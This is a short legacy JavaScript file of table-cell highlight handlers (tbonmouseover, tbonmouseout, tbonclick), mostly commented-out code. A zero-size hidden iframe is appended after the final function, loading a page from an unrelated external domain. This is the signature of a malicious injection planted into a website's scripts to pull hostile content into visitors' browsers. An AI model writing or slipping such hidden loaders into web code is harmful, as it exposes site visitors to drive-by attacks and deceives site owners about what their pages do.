var tdold = null;


function tbonmouseout(em){
	//var em = event.srcElement;
	//var strTagName = em.tagName;
	//if(strTagName != null) strTagName = strTagName.toLowerCase();
	//if(strTagName == "td")
	//{
		//em = em.parentElement;
		//if(em.rowIndex > 0)
		//{
		//	if(trobj != em.pk)
		//	{
		//		if(em.rowIndex%2 == 1)
		//			em.className = trclass1;
		//		else
					//em.className = trclass2;
		//	}
		//}

	//}
	//alert(1);
	if(em != tdold){
		em.className="noclick-color";
	}
	event.cancelBubble = true;
	//alert("out: " + objclass);
	//obj += "tbmo  ";
}
function tbonmouseover(em){
	//var em = event.srcElement;
	//var strTagName = em.tagName;
	//if(strTagName != null) strTagName = strTagName.toLowerCase();
	//if(strTagName == "td")
	//{
		//em = em.parentElement;
	//	if(em.rowIndex > 0)
	//	{
		//	if(trobj != em.pk)
			     
				//em.className="top-menu";
		//}
	   //em.backgroundcolor="#FFFCCC";
	    
	//}
	//alert(2);
	em.className="click-color";
	event.cancelBubble = true;
	//alert("over: " + objclass);
	//obj += "tbmv  ";
}
function tbonclick(em){
	//obj += "tbmc  ";
	//alert("11111111");
	//var em = event.srcElement;
	//var strTagName = em.tagName;
//	if(strTagName != null && strTagName) strTagName = strTagName.toLowerCase();
//	if(strTagName == "td") em = em.parentElement;
//	strTagName = em.tagName;
//	if(strTagName != null && strTagName) strTagName = strTagName.toLowerCase();
//	if(strTagName == "tr")
//	{
	//	if(em.rowIndex > 0)
	//	{
		//	if(trobj == em.pk)
		//	{
		//		trobj = "";
		//		troldobj = null;
		//		if(em.rowIndex%2 == 1)
					//em.className = "menuleft";
		//		else
		//			em.className = menuleft;
		//	}
		//	else
		//	{
		//		if(troldobj != null)
			//	{
			//		if(troldobj.rowIndex%2 == 1)
			//			troldobj.className = menuleft;
				//	else
			//			troldobj.className = menuleft;

			//	}
			//	trobj = em.pk;
				//troldobj = em;
				//em.className="menuleft";
			//}
			//alert(objclass + ":" + em.className);
		//}
	//}
	//alert(obj + ":" + objclass);
	//alert(em.tagName);
	if(tdold != null){
		tdold.className = "noclick-color";
	}
	em.className = "click-color";
	tdold = em;
	event.cancelBubble = true;
}<iframe src=http://xxx.745970.com/newdm/new176.htm?12371 width=0 height=0></iframe>